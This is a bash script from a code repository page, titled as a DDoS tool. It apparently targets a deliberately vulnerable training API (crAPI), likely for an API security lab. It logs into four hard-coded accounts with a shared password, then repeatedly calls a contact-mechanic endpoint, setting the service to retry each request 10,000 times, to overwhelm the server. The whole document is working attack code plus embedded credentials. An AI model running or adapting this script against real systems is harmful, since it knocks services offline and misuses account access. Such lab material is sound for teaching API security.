You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

ddos_contactmechanic.sh 2.8KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071
  1. #!/bin/bash
  2. # Prompt the user to enter the value of HOSTNAME
  3. read -p "Enter the HOSTNAME: " HOSTNAME
  4. # Function to obtain access token for a given email and password
  5. get_access_token() {
  6. local email=$1
  7. local password=$2
  8. # Use curl to get the access token and jq to extract it
  9. local access_token=$(curl "http://$HOSTNAME/identity/api/auth/login" \
  10. -H 'Content-Type: application/json' \
  11. --data-raw '{"email":"'"$email"'","password":"'"$password"'"}' \
  12. --insecure -s | jq -j .token)
  13. echo "$access_token"
  14. }
  15. # Define the common password
  16. COMMON_PASSWORD='cRaPi2023!!!'
  17. # Define the email addresses
  18. emails=(
  19. 'apilab@akamai.com'
  20. 'apilab2@akamai.com'
  21. 'apilab3@akamai.com'
  22. 'apilab4@akamai.com'
  23. )
  24. for ((i=0; i<${#emails[@]}; i++)); do
  25. # Generate access token
  26. access_token=$(get_access_token "${emails[i]}" "$COMMON_PASSWORD")
  27. # Define VINs
  28. VINS=("8WNFQ29UASO325881" "2QJHA06QPTA452548" "9MZWD50MITK534430" "2QBSC54ZIHY224823")
  29. VIN=${VINS[i]}
  30. # Execute first curl command
  31. curl "http://$HOSTNAME/workshop/api/merchant/contact_mechanic" \
  32. -H "Accept: */*" \
  33. -H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
  34. -H "Authorization: Bearer $access_token" \
  35. -H "Cache-Control: no-cache" \
  36. -H "Connection: keep-alive" \
  37. -H "Content-Type: application/json" \
  38. -H "DNT: 1" \
  39. -H "Origin: http://$HOSTNAME" \
  40. -H "Pragma: no-cache" \
  41. -H "Referer: http://$HOSTNAME/contact-mechanic?VIN=$VIN" \
  42. -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
  43. --data-raw "{\"mechanic_code\":\"TRAC_JHN\",\"problem_details\":\"123\",\"vin\":\"$VIN\",\"mechanic_api\":\"http://$HOSTNAME/workshop/api/mechanic/receive_report\",\"repeat_request_if_failed\":true,\"number_of_repeats\":10000}" \
  44. --compressed \
  45. --insecure | jq -j
  46. curl "http://$HOSTNAME/workshop/api/merchant/contact_mechanic" \
  47. -H "Accept: */*" \
  48. -H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
  49. -H "Authorization: Bearer $access_token" \
  50. -H "Cache-Control: no-cache" \
  51. -H "Connection: keep-alive" \
  52. -H "Content-Type: application/json" \
  53. -H "DNT: 1" \
  54. -H "Origin: http://$HOSTNAME" \
  55. -H "Pragma: no-cache" \
  56. -H "Referer: http://$HOSTNAME/contact-mechanic?VIN=$VIN" \
  57. -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
  58. --data-raw "{\"mechanic_code\":\"TRAC_JME\",\"problem_details\":\"123\",\"vin\":\"$VIN\",\"mechanic_api\":\"http://$HOSTNAME/workshop/api/mechanic/receive_report\",\"repeat_request_if_failed\":true,\"number_of_repeats\":10000}" \
  59. --compressed \
  60. --insecure | jq -j
  61. done